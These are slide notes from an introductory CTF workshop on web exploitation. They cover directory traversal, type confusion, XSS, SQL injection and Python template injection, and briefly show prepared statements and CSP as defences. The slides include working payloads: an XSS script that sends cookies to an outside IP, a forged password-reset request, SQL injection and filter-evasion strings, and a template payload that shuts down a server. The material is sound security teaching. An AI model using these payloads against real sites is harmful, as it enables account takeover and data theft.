Introduction to
Web Exploitation
Matthew Savage
@bluepichu
Zach Wade
@zwad3
Carolina Zarate
@zaratec4
Thank You
Today’s Topics
What is PPP?
https://lists.andrew.cmu.edu/mailman/listinfo/plaid-parliament-pwning
What are CTFs?
Security competitions where the goal is to find a hidden flag 🏁
flag{you_f0und_m3!}
What is web security?
Web Security in Four Words:
Don’t trust user input.
Get Pwning
http://problems.getpwning.com:8000/
Web Application Structure
Client: Runs code locally in your browser
Reverse Proxy: Determines to which server the client connects
Server: Hosts the main application logic
Database: Stores application and user data
Client
Server B
Server C
Server A
Reverse
Proxy
Database
Directory Traversal
Directory Traversal
Directory Traversal » Static
http://chal.ctf.io:1337/secure/default.php
Directory Traversal » Static
If we’re lucky, this will get us an index!
http://chal.ctf.io:1337/secure/default.php
Directory Traversal » Static
Don’t forget to check this too!
If we’re lucky, this will get us an index!
http://chal.ctf.io:1337/secure/default.php
Directory Traversal » Dynamic
http://chal.ctf.io:1337/getimage.php?img=hello.png
Directory Traversal » Dynamic
http://chal.ctf.io:1337/getimage.php?img=hello.png
Directory Traversal » Dynamic
http://chal.ctf.io:1337/getimage.php?img=../flag.txt
Directory Traversal » Dynamic
http://chal.ctf.io:1337/getimage.php?img=../../../../../../etc/passwd
This is fun, but what if we want to know what the server is doing?
Directory Traversal » Dynamic
http://chal.ctf.io:1337/getimage.php?img=../getimage.php
Now things are getting interesting...
Directory Traversal » Get Pwning
http://problems.getpwning.com:8000/lfi
Type Confusion
Type Confusion
Question: How do we attack servers?
Type Confusion » Parameter Abuse
http://target.site.com/login.php?user=myuser
$GET[“user”] → “myuser” (a string)
Type Confusion » Parameter Abuse
http://target.site.com/login.php?user=myuser&user=admin
$GET[“user”] → [“myuser”, “admin”] (an array)
Type Confusion » Parameter Abuse
http://target.site.com/array.js?arg[0]=0&arg[1]=1&arg[2]=2
req.params.arg → [“0”, “1”, “2”] (an array)
Type Confusion » Parameter Abuse
http://target.site.com/object.js?obj[key1]=value1&obj[key2]=value2
req.params.obj → {key1: “value1”, key2: “value2”} (an object)
Type Confusion » Loose Equality
false
true
true
false
true
false
false
Type Confusion » Loose Equality
Type Confusion » Loose Equality
Type Confusion » Get Pwning
http://problems.getpwning.com:8000/type
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) » Cookies
client> Please log me in as zaratec
Sure. Store the value token=xyz so I know who you are <server
client> Ok, now get me /mypage. I am zaratec and my token is xyz
Yep, I know you must be zaratec. Here’s her page <server
Cross-Site Scripting (XSS) » Finding Injections
Cross-Site Scripting (XSS) » If we had control...
Send Credentials (Cookies)
<script>
fetch(`http://1.2.3.4/?${document.cookie}`)
</script>
Make a Request
<script>
fetch(“/reset-password.php”, {
method: “POST”,
headers: {
“Content-Type”: “x-www-form-urlencoded”
},
body: “new_pass=zachpwn&confirm=true”,
})
</script>
Cross-Site Scripting (XSS) » The Two Types
Reflected XSS
Unsanitized user input is returned immediately without being stored on the target
Persistent XSS
Unsanitized user input is stored in a database and is seen by everyone who visits the page
Cross-Site Scripting (XSS) » CSP
Content Security Policy (CSP) is used to mitigate XSS attacks
Cross-Site Scripting (XSS) » Get Pwning
http://problems.getpwning.com:8000/xss
SQL Injection
SQL Injection
At this point, we’ve attacked:
What’s left? Databases!
SQL Injection » Example Queries
INSERT INTO Users (username, password) VALUES ('zwad3', 'zachpwn')
SELECT * FROM Users WHERE username = 'zwad3' AND password = 'zachpwn'
UPDATE Users SET password = 'greatpasswdm8' WHERE username = 'zwad3'
SQL Injection » Breaking out of SELECT
SELECT * FROM Users WHERE username = 'zwad3' AND password = 'zachpwn'
SQL Injection » Breaking out of SELECT
SELECT * FROM Users WHERE username = 'zwad3' AND password = 'zachpwn'
zwad3
zachpwn
SQL Injection » Breaking out of SELECT
SELECT * FROM Users WHERE username = '' hi' AND password = 'zachpwn'
If we’re lucky, the server sends an error back to the client.
If we’re luckier, that error contains the source query.
' hi
zachpwn
SQL Injection » Breaking out of SELECT
SELECT * FROM Users WHERE username = '' -- ' AND password = 'zachpwn'
' --
zachpwn
SQL Injection » Breaking out of SELECT
SELECT * FROM Users WHERE username = '' OR 1 = 1-- ...
Depending on how the server was written, this might log us in as the first user.
' OR 1 = 1--
SQL Injection » Breaking out of SELECT
SELECT * FROM Users WHERE username = '' OR 1 = 1 LIMIT 1-- ...
This should log us in as the first user.
' OR 1 = 1 LIMIT 1--
SQL Injection » Breaking out of SELECT
SELECT * FROM Users WHERE username = '' UNION SELECT 'const', 'val'-- ...
This can help us figure out how many columns the Users table has.
' UNION SELECT 'const', 'val'--
SQL Injection » Security Antipatterns: Filtering
SELECT * FROM Users WHERE username = '' UNION SELECT 'const', 'val'-- ...
It looks like this quote is causing the problem. Why don’t we filter out quotes?
' UNION SELECT 'const', 'val'--
SQL Injection » Evading Filters
SELECT * FROM Users WHERE username = '\' AND password = ' OR 1=1-- '
\
OR 1=1--
SQL Injection » Evading Filters
SELECT * FROM Users WHERE username = '\' AND password = ' OR 1=1-- '
Ok, that’s not enough. We’ll also remove the word “OR”.
\
OR 1=1--
SQL Injection » Evading Filters
SELECT * FROM Users WHERE username = '\' AND password = ' OR 1=1-- '
OORR 1=1--
OR 1=1--
\
SQL Injection » Evading Filters
SELECT * FROM Users WHERE username = '\' AND password = ' OR 1=1-- '
OORR 1=1--
OR 1=1--
\
SQL Injection » Secure SQL Queries
$s = $db->prepare(“SELECT * FROM Users WHERE username = ? and password = ?”);
$s->execute(array(“zach”, “zachpwn”));
SQL Injection » Blind SQL Injection
SQL Injection » Blind SQL Injection
If we only have a yes or no result, we have to be more clever
SELECT * FROM users WHERE username='' OR username LIKE 'a%'; -- '
SELECT * FROM users WHERE username='' OR SUBSTRING(username, 1, 1) < 'm'; -- '
SQL Injection » Get Pwning
http://problems.getpwning.com:8000/sql
Mini-CTF
Instructions
Want to Learn More?
PPP
Practice
Web Languages
Survey of Forms
Typical Server Languages
Server Languages » PHP
Server Languages » PHP (Example Program)
<html>� <body>� <div class=’header’><?php echo get_header_value(); ?></div>� <div class=’content’>�<?php�$pages = db_get_pages();�foreach ($pages as $page) {� echo “<a href=’{$page[0]}’>{$page[1]}</a>”;�}�include ‘body.php’;�?>� <div class=’footer’>Thanks for coming!</div>� </body>�</html>
Server Languages » PHP
Server Languages » PHP
Server Languages » PHP
Because PHP is such a poorly designed language, there are a number of things to look for as potential vulnerabilities
(Basically, PHP is the kitchen sink of vulnerabilities)
Server Languages » Python
Servers, in my Python? � ...It’s more common than you think!
Server Languages » Python (Example Program)
from flask import Flask, send_from_directory�app = Flask(__name__)��@app.route(‘/<path:path>’)�def send_file(path):� return send_from_directory(‘/assets’, path)�@app.route(‘/’)�def hello_world():� return “<h1>Hello World</h1>”�app.run(host=’0.0.0.0’, port=1234)
Server Languages » Python
Python Servers tend to be
Server Languages » Python
Among the most common security vulnerabilities in Python, because of its maturity as a language, is template injection
Server Languages » Python (Template Injection)
Correct Templating:
template = “The template should be a {{ opt1 }} or a {{ opt2 }}. {{ userinp }}”�render_template_string(template, opt1=”file”, opt2=”static string”, userinp=???)
Server Languages » Python (Template Injection)
Incorrect Templating:
template = “The template should be a {{ opt1 }} or a {{ opt2 }}. %userinp”�render_template_string(template % ???, opt1=”file”, opt2=”static string”)
Server Languages » Python (Template Injection)
Incorrect Templating:
template = “The template should be a {{ opt1 }} or a {{ opt2 }}. %userinp”�render_template_string(template % ???, opt1=”file”, opt2=”static string”)
Server Languages » Python (Template Injection)
What if userinp = “{{ opt1 }}”?
Then opt1 is rendered twice...
Server Languages » Python (Template Injection)
What if userinp = “{{ request.environ['werkzeug.server.shutdown']() }}”?
Then that becomes a lot worse
Server Languages » Python (Template Injection)
What does template injection give us
Server Languages » Ruby
Server Languages » Node.js
WEB-251:
Great Not-So-Theoretical
Ideas in Web Exploitation
WEB-251 » Overview of HTTP
WEB-251 » Example HTTP Request
GET /test.png HTTP/1.1�Host: ctf.site.io�Accept: text/html,application/xhtml+xml,application/xml�Cookie: acct=t=rB7KuUIZMGBz5%2bSf4%2b6FD1ccjBmuEn�Referrer: google.com
WEB-251 » Example HTTP Response
GET /test.png HTTP/1.1�Host: ctf.site.io�Accept: text/html,application/xhtml+xml,application/xml�Cookie: acct=t=rB7KuUIZMGBz5%2bSf4%2b6FD1ccjBmuEn�Referrer: google.com
HTTP 200 Ok�Date: Fri, 18 Nov 2016 21:42:32 GMT�Content-Length: 29661�Content-Type: text/html��<html><head><link rel=’stylesheet’ href=’/styles.css’></head>�<body>....�
WEB-251 » Helpful Headers
WEB-251 » Timing Attacks